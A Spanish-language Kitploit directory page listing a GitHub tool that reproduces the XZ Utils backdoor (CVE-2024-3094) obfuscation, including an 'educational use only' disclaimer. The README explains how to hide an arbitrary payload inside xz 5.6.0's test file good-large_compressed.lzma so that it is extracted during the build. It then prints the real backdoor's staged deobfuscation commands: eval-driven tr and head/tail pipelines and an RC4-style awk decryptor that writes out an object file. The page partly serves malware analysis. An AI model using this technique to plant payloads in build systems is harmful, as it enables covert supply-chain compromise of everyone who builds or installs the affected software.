Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
xzutils_backdoor_obfuscation — Script para ofuscar un payload de la misma manera que se hizo en el ataque a XZ utils (CVE-2024-3094) | Kitploit
Herramientas/GitHubGitHub/thomrgn/xzutils_backdoor_obfuscation
ExplotaciónIngeniería InversaAnálisis de MalwareSeguridad de Cadena de SuministroAprendizaje y EducaciónDesarrollo de PayloadsExplotación de Binarios
GitHubthomrgn/xzutils_backdoor_obfuscation

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

xzutils_backdoor_obfuscation

Script para ofuscar un payload de la misma manera que se hizo en el ataque a XZ utils (CVE-2024-3094)

Ver Repositorio
hace 10 mesesAún no revisado

xzutils_backdoor_obfuscation

Este script reproduce la técnica de ofuscación utilizada en el ataque a XZ utils (CVE-2024-3094). Solo ha sido probado con xzutils v5.6.0.

⚠️ Este código se proporciona únicamente con fines educativos y no debe utilizarse para actividades maliciosas. Úselo bajo su propio riesgo. ⚠️

Prerrequisito

Debe tener el archivo original good-large_compressed.lzma de xzutils 5.6.0 en su carpeta de trabajo.

Uso

Ejecute lo siguiente ./obfuscate_payload.sh [your_payload]

Se creará un archivo good-large_compressed.lzma.modified, que deberá colocarse en la carpeta test/files del código fuente de xzutils 5.6.0 con el nombre good-large_compressed.lzma. El backdoor se extraerá durante el proceso de compilación.

Limitaciones

Este código ha sido probado con un liblzma_la-crc64-fast.o modificado del mismo tamaño que el original. Es posible que usar un archivo más grande no funcione, ya que el tamaño del payload es limitado.

Desofuscación del payload

Esta parte es opcional y muestra cómo desofuscar el payload de good-large_compressed.lzma. Puede usarla con el archivo original o con uno creado mediante este proyecto.

Prerrequisito

Debe tener los archivos originales good-large_compressed.lzma y bad-3-corrupt_lzma2.xz de xzutils 5.6.0 en su carpeta de trabajo.

Paso 1: Extraer el script oculto en bad-3-corrupt_lzma2.xz

root@kitploit:~
gl_am_configmake=bad-3-corrupt_lzma2.xz
gl_path_unmap='tr " \t_\-" "\t \-_"'  # Reverse the character mapping
gl_prefix=`echo $gl_am_configmake | sed "s/.*\.//g"
gl_reverse_config="sed ':a;N;\$!ba;s/\n//g' $gl_am_configmake | eval $gl_path_unmap"
eval $gl_reverse_config

Esto le dará un script bash que ejecutará el paso 2.

Paso 2: Extraer el segundo script oculto en good-large_compressed.lzma

Ejecute el siguiente código, tomado de la salida de la etapa 1

root@kitploit:~
export i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 		>/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)";(xz -dc good-large_compressed.lzma|eval $i|tail -c +31265|tr "\5-\51\204-\377\52-\115\132-\203\0-\4\116-\131" "\0-\377")|xz -F raw --lzma1 -dc

Esto le dará otro script bash que ejecutará el paso 3.

Paso 3: Extraer el payload oculto en good-large_compressed.lzma

Ejecute el siguiente código, tomado de la salida de la etapa 2.

root@kitploit:~
W=88792
N=0
p="good-large_compressed.lzma"
i="((head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +2048 && (head -c +1024 >/dev/null) && head -c +724)"

xz -dc $p | eval $i | LC_ALL=C sed "s/\(.\)/\1\n/g" | LC_ALL=C awk 'BEGIN{FS="\n";RS="\n";ORS="";m=256;for(i=0;i<m;i++){t[sprintf("x%c",i)]=i;c[i]=((i*7)+5)%m;}i=0;j=0;for(l=0;l<4096;l++){i=(i+1)%m;a=c[i];j=(j+a)%m;c[i]=c[j];c[j]=a;}}{v=t["x" (NF<1?RS:$1)];i=(i+1)%m;a=c[i];j=(j+a)%m;b=c[j];c[i]=b;c[j]=a;k=c[(a+b)%m];printf "%c",(v+k)%m}' | xz -dc --single-stream | ((head -c +$N > /dev/null 2>&1) && head -c +$W) > liblzma_la-crc64-fast.o || true

Esto extraerá el payload ofuscado liblzma_la-crc64-fast.o.

Descargar herramienta